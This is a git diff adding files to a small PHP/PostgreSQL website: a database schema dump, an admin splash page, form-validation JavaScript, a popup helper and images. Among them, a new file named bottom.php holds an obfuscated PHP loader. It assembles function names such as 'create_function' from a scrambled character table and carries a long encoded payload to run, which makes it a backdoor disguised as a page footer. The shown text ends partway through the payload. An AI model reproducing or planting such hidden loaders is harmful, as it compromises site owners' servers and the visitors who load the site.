+U Toolbox/images/fullscreen_minimize.gif
+U Toolbox/images/insert_table.gif
+U Toolbox/popups/about.html
+U Toolbox/popups/blank.html
+U Toolbox/popups/custom2.html
+U Toolbox/popups/editor_help.html
+U Toolbox/popups/fullscreen.html
+U Toolbox/popups/insert_image.html
+U Toolbox/popups/insert_table.html
+U Toolbox/popups/old-fullscreen.html
+U Toolbox/popups/old_insert_image.html
+U Toolbox/popups/popup.js
+U Toolbox/popups/select_color.html
+You are now connected as new user "postgres".
+CREATE TABLE "bus" (
+       "id" SERIAL,
+       "name" text,
+       "description" text,
+       "description2" text,
+       "description3" text,
+       "image" text,
+       "imagename" text,
+       "image2" text,
+       "image2name" text,
+       "image3" text,
+       "image3name" text,
+       "urlname" text,
+       "url" text,
+       "address" text,
+       "city" text,
+       "state" text,
+       "zip" text,
+       "phone" text,
+       "fax" text,
+       "email" text,
+       "pos" integer,
+       "file" text,
+       "filename" text,
+       "file2" text,
+       "file2name" text,
+       "file3" text,
+       "file3name" text,
+       "contactname" text
+);
+CREATE TABLE
+REVOKE ALL on "bus" from PUBLIC;
+REVOKE
+GRANT ALL on "bus" to "nobody";
+GRANT
+GRANT ALL on "bus" to "postgres";
+GRANT
+REVOKE ALL on "bus_id_seq" from PUBLIC;
+REVOKE
+GRANT ALL on "bus_id_seq" to "nobody";
+GRANT
+GRANT ALL on "bus_id_seq" to "postgres";
+GRANT
+CREATE TABLE "bus_category" (
+       "id" SERIAL,
+       "parent" integer,
+       "category" text,
+       "intro" text,
+       "description" text,
+       "image" text,
+       "active" bool,
+       "pos" integer,
+       "keyword" text,
+       "template" int
+);
+CREATE TABLE
+REVOKE ALL on "bus_category" from PUBLIC;
+REVOKE
+GRANT ALL on "bus_category" to "nobody";
+GRANT
+GRANT ALL on "bus_category" to "postgres";
+GRANT
+REVOKE ALL on "bus_category_id_seq" from PUBLIC;
+REVOKE
+GRANT ALL on "bus_category_id_seq" to "nobody";
+GRANT
+GRANT ALL on "bus_category_id_seq" to "postgres";
+GRANT
+CREATE TABLE "bus_category_bus" (
+       "id" SERIAL,
+       "busid" integer,
+       "catid" integer,
+       "pos" integer
+);
+CREATE TABLE
+REVOKE ALL on "bus_category_bus" from PUBLIC;
+REVOKE
+GRANT ALL on "bus_category_bus" to "nobody";
+GRANT
+GRANT ALL on "bus_category_bus" to "postgres";
+GRANT
+REVOKE ALL on "bus_category_bus_id_seq" from PUBLIC;
+REVOKE
+GRANT ALL on "bus_category_bus_id_seq" to "nobody";
+GRANT
+GRANT ALL on "bus_category_bus_id_seq" to "postgres";
+GRANT
+CREATE UNIQUE INDEX bus_id_indx ON bus (id);
+CREATE INDEX
+CREATE UNIQUE INDEX bus_category_id_indx ON bus_category (id);
+CREATE INDEX
+CREATE INDEX bus_category_parent_indx ON bus_category (parent);
+CREATE INDEX
+CREATE INDEX bus_category_pos_indx ON bus_category (pos);
+CREATE INDEX
+CREATE INDEX bus_category_keyword_indx ON bus_category (keyword);
+CREATE INDEX
+CREATE INDEX bus_category_template_indx ON bus_category (template);
+CREATE INDEX
+CREATE UNIQUE INDEX bus_category_bus_id_indx ON bus_category_bus (id);
+CREATE INDEX
+CREATE INDEX bus_category_bus_busid_indx ON bus_category_bus (busid);
+CREATE INDEX
+CREATE INDEX bus_category_bus_catid_indx ON bus_category_bus (catid);
+CREATE INDEX
+
+
diff --git a/admin/splash.phtml b/admin/splash.phtml
new file mode 100755 (executable)
index 0000000..242d701
--- /dev/null
@@ -0,0 +1,28 @@
+<?
+include("../setup.phtml");
+?>
+<HTML>
+<HEAD>
+<link type="text/css" rel=stylesheet href="<?echo URL_BASE."admin/main.css"?>">
+<TITLE></TITLE>
+<META NAME="Author" CONTENT="Gaslight Media">
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" LINK="#000080" VLINK="#000080" ALINK="#000080">
+<CENTER>
+<TABLE BORDER=0 CELLPADDING=6>
+<TR>
+<TD ALIGN=CENTER>
+<FONT SIZE=2 FACE="ms sans serif">
+<B>Welcome To The <?=SITENAME?> Administration Area</B>
+<P>
+Please Choose The Area You Wish To Update.
+</FONT>
+<P>
+<!--<IMG SRC="<?=URL_BASE."images/logo.gif"?>">-->
+</TD>
+</TR>
+</TABLE>
+</CENTER>
+</BODY>
+</HTML>
+
diff --git a/admin/template1.gif b/admin/template1.gif
new file mode 100755 (executable)
index 0000000..327d943
Binary files /dev/null and b/admin/template1.gif differ
diff --git a/admin/template2.gif b/admin/template2.gif
new file mode 100755 (executable)
index 0000000..edf3d8b
Binary files /dev/null and b/admin/template2.gif differ
diff --git a/admin/template3.gif b/admin/template3.gif
new file mode 100755 (executable)
index 0000000..16e2107
Binary files /dev/null and b/admin/template3.gif differ
diff --git a/admin/template4.gif b/admin/template4.gif
new file mode 100755 (executable)
index 0000000..32174dd
Binary files /dev/null and b/admin/template4.gif differ
diff --git a/admin/template5.gif b/admin/template5.gif
new file mode 100755 (executable)
index 0000000..6c36b50
Binary files /dev/null and b/admin/template5.gif differ
diff --git a/admin/verify.js b/admin/verify.js
new file mode 100755 (executable)
index 0000000..d9a6812
--- /dev/null
@@ -0,0 +1,80 @@
+function isblank(s) {
+       for(var i = 0; i < s.length; i++) {
+               var c = s.charAt(i);
+               if((c != ' ') && (c != '\n') && (c != '\t'))
+                       return(false);
+       }
+       return(true);
+}
+
+function verify(f) {
+       var msg;
+       var empty_fields = "";
+       var errors = "";
+
+       for(var i = 0; i < f.length; i++) {
+               var e = f.elements[i];
+               if(((e.type == "text") || (e.type == "textarea")) && !e.optional) {
+                       if((e.value == null) || (e.value == "") || isblank(e.value)) {
+                               empty_fields += "\n             " + e.r;
+                               continue;
+                       }
+
+                       if(e.d) {
+                               if(isNaN(Date.parse(e.value)))
+                                       errors += "- The field " +e.r+" must be formated like 01/17/2001\n";
+                       }
+                       if(e.numeric || (e.min != null) || (e.max != null)) {
+                               if(e.i) {
+                                       var v = parseInt(e.value);
+                                       if(v != e.value) {
+                                               errors += "- The field " +e.r + " must be a ";
+                                               errors += "number with no decimal\n";
+                                               continue;
+                                       }
+                               }
+                               else
+                                       var v = parseFloat(e.value);
+                               if(isNaN(v) ||
+                                       ((e.min != null) && (v < e.min)) ||
+                                       ((e.max != null) && (v > e.max))) {
+
+                                       errors += "- The field " + e.r + " must be a number";
+                                       if(e.min != null)
+                                               errors += " that is greater than " + e.min;
+                                       if(e.max != null && e.min != null)
+                                               errors += " and less than " + e.max;
+                                       else if (e.max != null)
+                                               errors += " that is less than " + e.max;
+                                       errors += ".\n";
+                               }
+                       }
+               }
+               if (e.options && !e.optional)
+               {
+                       if((e.value == null) || (e.value == "") || isblank(e.value)) 
+                       {
+                               empty_fields += "\n             " + e.r;
+                               continue;
+                       }
+               }
+       }
+
+       if(!empty_fields && !errors)
+               return(true);
+
+       msg = "_____________________________________________________\n\n";
+       msg +="The form was not submitted because of the following error(s).\n";
+       msg +="Please correct these error(s) and re-submit.\n";
+       msg +="_____________________________________________________\n\n";
+
+       if(empty_fields) {
+               msg += "- The following required field(s) are empty:"
+                               + empty_fields + "\n";
+               if(errors)
+                       msg += "\n";
+       }
+       msg += errors;
+       alert(msg);
+       return(false);
+}
diff --git a/admin/wm.js b/admin/wm.js
new file mode 100755 (executable)
index 0000000..7a7323e
--- /dev/null
@@ -0,0 +1,13 @@
+function glm_open(o) {
+       var x = (screen.width/2) - (o.width/2);
+       var y = (screen.height/2) - (o.height/2);
+       var args = "width="+o.width+",height="+o.height+",screenX="+x+",screenY="+y+",top="+y+",left="+x;
+       if(o.scroll == true)
+               args += ",scrollbars=1";
+       //args += "\'";
+       //alert(args);
+       pow=window.open(o.url,o.name,args);
+       //confirm(args);
+       if (pow.opener == null)
+               pow.opener = self;
+}
diff --git a/assets/Heights.pdf b/assets/Heights.pdf
new file mode 100644 (file)
index 0000000..9fc0a8c
Binary files /dev/null and b/assets/Heights.pdf differ
diff --git a/assets/bg.jpg b/assets/bg.jpg
new file mode 100755 (executable)
index 0000000..4c7c88e
Binary files /dev/null and b/assets/bg.jpg differ
diff --git a/assets/top-image.gif b/assets/top-image.gif
new file mode 100755 (executable)
index 0000000..ea43675
Binary files /dev/null and b/assets/top-image.gif differ
diff --git a/assets/top-image2.gif b/assets/top-image2.gif
new file mode 100755 (executable)
index 0000000..1f66b85
Binary files /dev/null and b/assets/top-image2.gif differ
diff --git a/assets/top-image3.gif b/assets/top-image3.gif
new file mode 100755 (executable)
index 0000000..a01eb27
Binary files /dev/null and b/assets/top-image3.gif differ
diff --git a/bottom.php b/bottom.php
new file mode 100755 (executable)
index 0000000..6e04577
--- /dev/null
@@ -0,0 +1,8 @@
+<?php $YyWHDHXeiV='UyQ{u19THckwa6Bt5L2o.Arh_VFmE4/Wnp;3Jg}[ *Ij$XKfS)q7Os8e"(,bY]x^RCZMGi|DNPdzl0+v';$DWivqyjBsI=$YyWHDHXeiV{9}.$YyWHDHXeiV{22}.$YyWHDHXeiV{55}.$YyWHDHXeiV{12}.$YyWHDHXeiV{15}.$YyWHDHXeiV{55}.$YyWHDHXeiV{24}.$YyWHDHXeiV{47}.$YyWHDHXeiV{4}.$YyWHDHXeiV{32}.$YyWHDHXeiV{9}.$YyWHDHXeiV{15}.$YyWHDHXeiV{69}.$YyWHDHXeiV{19}.$YyWHDHXeiV{32};$yOcUewhZGl=$YyWHDHXeiV{44}.$YyWHDHXeiV{53};$qnORqPCCtP=$YyWHDHXeiV{69}.$YyWHDHXeiV{47}.$YyWHDHXeiV{57}.$YyWHDHXeiV{69}.$YyWHDHXeiV{53}.$YyWHDHXeiV{53}.$YyWHDHXeiV{55}.$YyWHDHXeiV{15}.$YyWHDHXeiV{57}.$YyWHDHXeiV{44}.$YyWHDHXeiV{24}.$YyWHDHXeiV{65}.$YyWHDHXeiV{52}.$YyWHDHXeiV{52}.$YyWHDHXeiV{46}.$YyWHDHXeiV{42}.$YyWHDHXeiV{28}.$YyWHDHXeiV{39}.$YyWHDHXeiV{56}.$YyWHDHXeiV{60}.$YyWHDHXeiV{1}.$YyWHDHXeiV{31}.$YyWHDHXeiV{8}.$YyWHDHXeiV{71}.$YyWHDHXeiV{8}.$YyWHDHXeiV{45}.$YyWHDHXeiV{55}.$YyWHDHXeiV{69}.$YyWHDHXeiV{25}.$YyWHDHXeiV{56}.$YyWHDHXeiV{61}.$YyWHDHXeiV{49}.$YyWHDHXeiV{70}.$YyWHDHXeiV{70}.$YyWHDHXeiV{69}.$YyWHDHXeiV{53}.$YyWHDHXeiV{53}.$YyWHDHXeiV{55}.$YyWHDHXeiV{15}.$YyWHDHXeiV{57}.$YyWHDHXeiV{44}.$YyWHDHXeiV{8}.$YyWHDHXeiV{7}.$YyWHDHXeiV{7}.$YyWHDHXeiV{73}.$YyWHDHXeiV{24}.$YyWHDHXeiV{65}.$YyWHDHXeiV{52}.$YyWHDHXeiV{52}.$YyWHDHXeiV{46}.$YyWHDHXeiV{42}.$YyWHDHXeiV{28}.$YyWHDHXeiV{24}.$YyWHDHXeiV{25}.$YyWHDHXeiV{21}.$YyWHDHXeiV{64}.$YyWHDHXeiV{48}.$YyWHDHXeiV{39}.$YyWHDHXeiV{56}.$YyWHDHXeiV{60}.$YyWHDHXeiV{1}.$YyWHDHXeiV{31}.$YyWHDHXeiV{8}.$YyWHDHXeiV{71}.$YyWHDHXeiV{8}.$YyWHDHXeiV{45}.$YyWHDHXeiV{55}.$YyWHDHXeiV{69}.$YyWHDHXeiV{25}.$YyWHDHXeiV{56}.$YyWHDHXeiV{61}.$YyWHDHXeiV{49}.$YyWHDHXeiV{49}.$YyWHDHXeiV{3}.$YyWHDHXeiV{47}.$YyWHDHXeiV{4}.$YyWHDHXeiV{32}.$YyWHDHXeiV{9}.$YyWHDHXeiV{15}.$YyWHDHXeiV{69}.$YyWHDHXeiV{19}.$YyWHDHXeiV{32}.$YyWHDHXeiV{40}.$YyWHDHXeiV{22}.$YyWHDHXeiV{54}.$YyWHDHXeiV{57}.$YyWHDHXeiV{44}.$YyWHDHXeiV{53}.$YyWHDHXeiV{58}.$YyWHDHXeiV{44}.$YyWHDHXeiV{33}.$YyWHDHXeiV{49}.$YyWHDHXeiV{3}.$YyWHDHXeiV{22}.$YyWHDHXeiV{55}.$YyWHDHXeiV{15}.$YyWHDHXeiV{4}.$YyWHDHXeiV{22}.$YyWHDHXeiV{32}.$YyWHDHXeiV{40}.$YyWHDHXeiV{44}.$YyWHDHXeiV{53}.$YyWHDHXeiV{63}.$YyWHDHXeiV{53}.$YyWHDHXeiV{15}.$YyWHDHXeiV{22}.$YyWHDHXeiV{24}.$YyWHDHXeiV{33}.$YyWHDHXeiV{12}.$YyWHDHXeiV{74}.$YyWHDHXeiV{57}.$YyWHDHXeiV{44}.$YyWHDHXeiV{33}.$YyWHDHXeiV{58}.$YyWHDHXeiV{53}.$YyWHDHXeiV{15}.$YyWHDHXeiV{22}.$YyWHDHXeiV{76}.$YyWHDHXeiV{55}.$YyWHDHXeiV{32}.$YyWHDHXeiV{57}.$YyWHDHXeiV{44}.$YyWHDHXeiV{53}.$YyWHDHXeiV{49}.$YyWHDHXeiV{58}.$YyWHDHXeiV{44}.$YyWHDHXeiV{33}.$YyWHDHXeiV{49}.$YyWHDHXeiV{34}.$YyWHDHXeiV{38}.$YyWHDHXeiV{34}.$YyWHDHXeiV{55}.$YyWHDHXeiV{79}.$YyWHDHXeiV{12}.$YyWHDHXeiV{76}.$YyWHDHXeiV{57}.$YyWHDHXeiV{22}.$YyWHDHXeiV{54}.$YyWHDHXeiV{57}.$YyWHDHXeiV{59}.$YyWHDHXeiV{12}.$YyWHDHXeiV{53}.$YyWHDHXeiV{55}.$YyWHDHXeiV{13}.$YyWHDHXeiV{29}.$YyWHDHXeiV{24}.$YyWHDHXeiV{74}.$YyWHDHXeiV{55}.$YyWHDHXeiV{9}.$YyWHDHXeiV{19}.$YyWHDHXeiV{74}.$YyWHDHXeiV{55}.$YyWHDHXeiV{57}.$YyWHDHXeiV{44}.$YyWHDHXeiV{53}.$YyWHDHXeiV{49}.$YyWHDHXeiV{58}.$YyWHDHXeiV{56}.$YyWHDHXeiV{31}.$YyWHDHXeiV{55}.$YyWHDHXeiV{71}.$YyWHDHXeiV{2}.$YyWHDHXeiV{23}.$YyWHDHXeiV{52}.$YyWHDHXeiV{22}.$YyWHDHXeiV{12}.$YyWHDHXeiV{42}.$YyWHDHXeiV{14}.$YyWHDHXeiV{56}.$YyWHDHXeiV{49}.$YyWHDHXeiV{49}.$YyWHDHXeiV{34}.$YyWHDHXeiV{38};$awwAsCKtAt="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